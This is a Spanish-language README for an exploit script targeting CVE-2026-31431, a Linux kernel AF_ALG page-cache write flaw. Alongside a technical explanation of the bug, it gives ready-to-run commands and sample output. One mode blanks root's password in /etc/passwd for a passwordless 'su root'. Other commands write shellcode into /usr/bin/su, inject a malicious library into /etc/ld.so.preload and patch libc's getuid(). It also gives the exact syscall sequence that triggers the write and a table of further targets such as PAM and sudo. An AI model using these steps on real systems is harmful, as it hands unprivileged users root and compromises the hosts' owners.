
Exploit para CVE-2026-31431, una vulnerabilidad de escritura en la caché de páginas AEAD AF_ALG del kernel de Linux que permite escrituras arbitrarias de 4 bytes sin privilegios en archivos legibles para la escalada local de privilegios.
Vulnerabilidad de escritura fuera de límites en la caché de páginas del kernel de Linux (Error en la cadena de lista dispersa AEAD de AF_ALG)
La interfaz algif_aead del kernel de Linux contiene una vulnerabilidad que permite a usuarios sin privilegios escribir datos arbitrarios en la caché de páginas (page cache) de cualquier archivo legible — eludiendo por completo las comprobaciones de permisos de archivo, el control de acceso obligatorio (MAC) y las verificaciones de integridad.
El contenido del archivo en disco no cambia, pero a partir de entonces todos los procesos que lean ese archivo (incluidos programas SUID, el enlazador dinámico, execve(), etc.) verán la versión manipulada por el atacante hasta que la caché de páginas sea reclamada.
| Elemento | Descripción |
|---|---|
| Subsistema | crypto/algif_aead.c |
| Algoritmo | authencesn(hmac(sha256),cbc(aes)) |
| Configuración del kernel | CONFIG_CRYPTO_USER_API_AEAD=y/m (habilitado por defecto en casi todas las distribuciones principales) |
| Privilegios requeridos | Ninguno — solo se necesita permiso de lectura sobre el archivo objetivo |
| Nivel de amenaza | Escalada local de privilegios → root |
| Distribuciones afectadas | Ubuntu, Debian, Fedora, RHEL, Arch, openSUSE, entre otras |
Al realizar descifrado AEAD a través de AF_ALG:
sendmsg() + MSG_MORE, que incluyen un seqno_lo de 4 bytes controlado por el atacante.splice() se inyectan las páginas de la caché de páginas del archivo objetivo en la lista dispersa de envío (TX SGL) del subsistema criptográfico del kernel.sg_chain.authencesn escribe seqno_lo en el desplazamiento assoclen + cryptlen de la lista dispersa de destino — una posición que sobrepasa el búfer de recepción y cae directamente en la página de la caché de páginas enlazada.EBADMSG, pero la caché de páginas ya ha sido manipulada. sendmsg (AAD) splice (página del archivo)
│ │
▼ ▼
┌──────────┐ sg_chain ┌──────────────────────┐
│ Búfer RX │─────────────▶│ Página de caché │
│ 8 bytes │ │ (contenido archivo) │
└──────────┘ └──────────────────────┘
▲
│
authencesn escribe seqno_lo aquí
desplazamiento = assoclen + cryptlen
════ aquí está la vulnerabilidad ════
seqno_lo están completamente controlados por el atacante en el AAD (qué se escribe)splice determina el desplazamiento de la escritura en la caché de páginas (dónde se escribe)# Manipular la caché de páginas de /etc/passwd, eliminar la contraseña de root, ejecutar su root automáticamente
./exploit.py escalate
Proceso de ejecución:
/etc/passwd en /tmp/.passwd.bakroot:x:0:0:root:... a root::0:0:root :...su root (sin necesidad de contraseña)Ejemplo de salida:
[*] CVE-2026-31431 — Copy Fail
[*] Modo: eliminar contraseña de root mediante /etc/passwd
[*] Copia de seguridad: /tmp/.passwd.bak
[*] Antes : root:x:0:0:root:/root:/bin/bash
[*] Después: root::0:0:root :/root:/bin/bash
[*] Desplazamiento: 0
[0x000000] 726f6f74 root
[0x000004] 3a3a303a ::0:
[0x000008] 303a726f 0:ro
[0x00000c] 6f742020 ot
[0x000010] 3a2f726f :/ro
[0x000014] 6f743a2f ot:/
[0x000018] 62696e2f bin/
[0x00001c] 62617368 bash
[+] Éxito: root::0:0:root :/root:/bin/bash
[*] Recuperación: echo 3 > /proc/sys/vm/drop_caches
[*] Ejecutando: su root (sin contraseña)
# Sintaxis básica
./exploit.py write <ruta_archivo> <desplazamiento> <datos>
# Leer payload desde un archivo binario
./exploit.py write <ruta_archivo> <desplazamiento> @payload.bin
# Escribir shellcode en el punto de entrada de un programa SUID
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin
# Inyectar ruta de biblioteca de precarga
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'
# Manipular funciones de libc (por ejemplo, hacer que getuid() devuelva 0)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'
# Método 1: limpiar toda la caché de páginas, restaurar el contenido original del disco
echo 3 > /proc/sys/vm/drop_caches
# Método 2: reiniciar
reboot
socket(AF_ALG, SOCK_SEQPACKET, 0)
→ bind("aead", "authencesn(hmac(sha256),cbc(aes))")
→ setsockopt(SOL_ALG, ALG_SET_KEY, blob_clave_authenc)
→ setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
→ accept() → fd de solicitud
┌─────────────────────────────────────────────┐
│ rta_len (2B) │ rta_type (2B) │ enckeylen (4B) │
│ 0x0008 │ 0x0001 │ 0x00000010 │
├─────────────────────────────────────────────┤
│ Clave de autenticación (16 bytes de ceros) │
├─────────────────────────────────────────────┤
│ Clave de cifrado (16 bytes de ceros) │
└─────────────────────────────────────────────┘
El valor de la clave es irrelevante — el HMAC fallará inevitablemente, pero la escritura fuera de límites ya se ha completado antes de la verificación.
Paso 1: sendmsg(req_fd,
AAD = [seqno_hi(4B) | seqno_lo(4B)], ← seqno_lo = valor a escribir
cmsg = [OP=DECRYPT, IV=ceros, ASSOCLEN=8],
flags = MSG_MORE)
Paso 2: pipe_r, pipe_w = pipe()
Paso 3: splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)
Paso 4: splice(pipe_r → req_fd, count = file_offset + 4)
Paso 5: recv(req_fd, ASSOC_LEN + file_offset)
→ activa el descifrado authencesn
→ seqno_lo se escribe en el desplazamiento assoclen + cryptlen de dst SGL
→ ese desplazamiento cae en file_offset de la página de caché
→ HMAC falla, devuelve EBADMSG
→ la caché de páginas ya ha sido manipulada ✓
Disposición de dst SGL:
[0 .. 7] → Búfer RX (zona de recepción AAD)
[8 .. 8 + file_offset + 3] → Página de caché (inyectada por splice)
Posición de escritura de seqno_lo:
dst[assoclen + cryptlen]
= dst[8 + file_offset]
= file_offset en la caché de páginas
∴ El atacante controla file_offset → controla la posición de escritura
El atacante controla seqno_lo → controla el contenido escrito
.
├── exploit.py # Script de explotación autocontenido (solo requiere Python 3 + Linux)
└── README.md # Este archivo
Esta herramienta está destinada únicamente a investigación de seguridad autorizada y pruebas de penetración. El uso no autorizado de esta herramienta para atacar sistemas de terceros es ilegal. El usuario asume toda la responsabilidad legal correspondiente.
| Restricción | Descripción |
|---|
| Permiso de lectura | El archivo objetivo debe ser legible por el usuario actual (O_RDONLY) |
| Alineación | Cada escritura es de 4 bytes; los bytes finales que no completan 4 se rellenan con 0x90 |
| Tamaño del archivo | El tamaño del archivo debe ser ≥ desplazamiento + longitud_datos + 4 bytes |
| Solo caché de páginas | El contenido del archivo en disco no se modifica |
| Persistencia | Válido hasta que la caché de páginas sea reclamada o limpiada manualmente |
| Configuración del kernel | Requiere AF_ALG + authencesn disponibles (presentes por defecto en las distribuciones principales) |
| Ruta de ataque | Archivo objetivo | Efecto |
|---|
| Eliminar contraseña de root | /etc/passwd | su root sin contraseña |
| Inyectar biblioteca de precarga | /etc/ld.so.preload | Todos los programas cargan el .so malicioso |
| Manipular programa SUID | /usr/bin/su, etc. | Ejecutar shellcode para obtener shell root |
| Manipular libc | /usr/lib/libc.so.6 | Secuestrar funciones como getuid() para que devuelvan 0 |
| Manipular módulo PAM | /usr/lib/security/pam_unix.so | Eludir toda autenticación |
| Manipular sudo | /usr/bin/sudo | Cualquier usuario obtiene root directamente |